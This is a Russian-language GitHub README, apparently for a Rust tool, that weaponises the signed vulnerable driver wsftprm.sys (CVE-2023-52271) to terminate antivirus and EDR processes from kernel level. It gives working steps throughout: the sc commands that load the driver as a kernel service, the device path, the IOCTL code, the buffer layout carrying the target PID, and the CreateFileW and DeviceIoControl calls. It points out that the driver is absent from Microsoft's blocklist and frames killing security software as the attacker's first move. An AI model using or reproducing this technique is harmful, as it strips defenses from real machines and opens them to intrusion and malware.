
Завершение процессов AV/EDR путем эксплуатации уязвимого драйвера (BYOVD)
https://github.com/user-attachments/assets/1eda3340-2af2-4136-b74e-be7a3f4b3924
Этот проект демонстрирует, как легитимный и подписанный драйвер может быть использован в качестве оружия для получения доступа на уровне ядра.
wsftprm.sys, подписанный TPZ SOLUCOES DIGITAIS LTDA, ранее подверженный уязвимости локального повышения привилегий, публично раскрытой как CVE-2023-52271, но почему-то всё ещё не входящий в список блокировки драйверов Microsoft!! 🤫🤫
Уязвимость срабатывает через IOCTL-код 0x22201C с буфером размером 1036 байт, где первые 4 байта содержат идентификатор целевого процесса в формате DWORD. Уязвимый драйвер, получив этот вредоносный IOCTL через DeviceIoControl, вызывает импортированную функцию ZwTerminateProcess, предоставляя любому пользовательскому приложению возможность завершения процессов на уровне ядра.
Любой здравомыслящий злоумышленник, естественно, в первую очередь использует эту возможность для завершения критически важных процессов антивирусов (AV) и решений для обнаружения и реагирования на угрозы (EDR).
Запустите cmd.exe с правами администратора и зарегистрируйте службу драйвера ядра с типом "kernel" и параметром binPath, указывающим на расположение уязвимого драйвера.
> sc create MalDriver binPath= <путь> type= Kernel
> sc start MalDriver
После загрузки драйвер создаёт символическую ссылку, доступную из пользовательского режима как \\.\Warsaw_PM. Её можно использовать для получения дескриптора устройства драйвера с помощью вызова API CreateFileW.
> CreateFileW(device_name.as_ptr(), GENERIC_READ | GENERIC_WRITE, 0, ptr::null_mut(), OPEN_EXISTING, 0, ptr::null_mut())
Для отправки вредоносных IOCTL-кодов мы будем использовать DeviceIoControl с кодом 0x22201C и буфером, содержащим PID в первых 4 байтах.
> DeviceIoControl(self.hDriver, 0x22201C, buffer.as_mut_ptr() as LPVOID, buffer.len() as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
Cargo build --release для генерации бинарного файла.
Вы можете добавить дополнительные процессы в целевой список для завершения.
Вы несёте ответственность за получение надлежащего разрешения перед использованием этого инструмента. Автор не несёт ответственности за неправомерное использование.
Приветствуются вклады и предложения! Если у вас есть идеи, улучшения или вы хотите сотрудничать, обращайтесь по адресу: [email protected]